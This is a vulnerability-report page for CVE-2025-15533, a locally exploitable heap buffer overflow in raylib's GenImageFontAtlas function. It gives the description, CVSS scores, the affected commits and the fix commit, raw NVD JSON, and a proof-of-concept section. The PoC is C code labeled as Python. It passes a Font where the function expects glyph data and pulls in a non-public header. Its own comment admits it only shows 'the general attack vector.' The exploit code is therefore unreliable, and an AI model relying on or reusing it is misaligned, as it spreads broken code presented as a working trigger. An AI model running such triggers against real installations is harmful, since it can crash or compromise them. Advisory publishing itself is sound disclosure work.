Security Vulnerability Report
中文
CVE-2025-15533 CVSS 5.3 MEDIUM

CVE-2025-15533

Published: 2026-01-18 05:16:16
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in raysan5 raylib up to 909f040. Affected by this vulnerability is the function GenImageFontAtlas of the file src/rtext.c. Executing a manipulation can lead to heap-based buffer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. This patch is called 5a3391fdce046bc5473e52afbd835dd2dc127146. Applying a patch is advised to resolve this issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:raylib:raylib:*:*:*:*:*:*:*:* - VULNERABLE
raylib < 5a3391fdce046bc5473e52afbd835dd2dc127146
raylib up to 909f040 commit

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-15533 PoC - raylib GenImageFontAtlas Heap Buffer Overflow // Compile: gcc -o poc poc.c -lraylib -lopengl32 -lm #include "raylib.h" #include "rcore.h" #include <stdlib.h> #include <string.h> int main() { // Initialize the library InitWindow(800, 600, "CVE-2025-15533 PoC"); // Generate a large number of codepoints to trigger overflow int codepointCount = 10000; int *codepoints = (int*)malloc(sizeof(int) * codepointCount); // Fill with extended unicode characters for (int i = 0; i < codepointCount; i++) { codepoints[i] = 0x10000 + i; // Use extended characters } // Load a font Font font = LoadFontEx("default_font.png", codepointCount, codepoints, codepointCount); // This call triggers GenImageFontAtlas which contains the vulnerability // The function attempts to create a font atlas but may overflow heap buffer Image fontAtlas = GenImageFontAtlas(font, NULL, codepointCount, 32, 4, 0); if (fontAtlas.data != NULL) { // If we reach here without crash, the overflow may not have triggered // or the system has mitigations in place UnloadImage(fontAtlas); } UnloadFont(font); free(codepoints); CloseWindow(); return 0; } // NOTE: This PoC demonstrates the general attack vector. The actual exploit // may require specific conditions based on system architecture and memory layout.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15533", "sourceIdentifier": "[email protected]", "published": "2026-01-18T05:16:16.360", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in raysan5 raylib up to 909f040. Affected by this vulnerability is the function GenImageFontAtlas of the file src/rtext.c. Executing a manipulation can lead to heap-based buffer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. This patch is called 5a3391fdce046bc5473e52afbd835dd2dc127146. Applying a patch is advised to resolve this issue."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en raysan5 raylib hasta 909f040. Afectada por esta vulnerabilidad es la función GenImageFontAtlas del archivo src/rtext.c. Ejecutar una manipulación puede llevar a un desbordamiento de búfer basado en montículo. El ataque solo puede ejecutarse localmente. El exploit ha sido divulgado públicamente y puede ser utilizado. Este parche se llama 5a3391fdce046bc5473e52afbd835dd2dc127146. Aplicar un parche se aconseja para resolver este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raylib:raylib:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-01", "matchCriteriaId": "3744F4B4-5B21-4874-8236-9CCFC788D89F"}]}]}], "references": [{"url": "https://github.com/oneafter/1224/blob/main/hbf2", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/raysan5/raylib/", "source": "[email protected]"}, {"url": "https://github.com/raysan5/raylib/commit/5a3391fdce046bc5473e52afbd835dd2dc127146", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/raysan5 ... (truncated)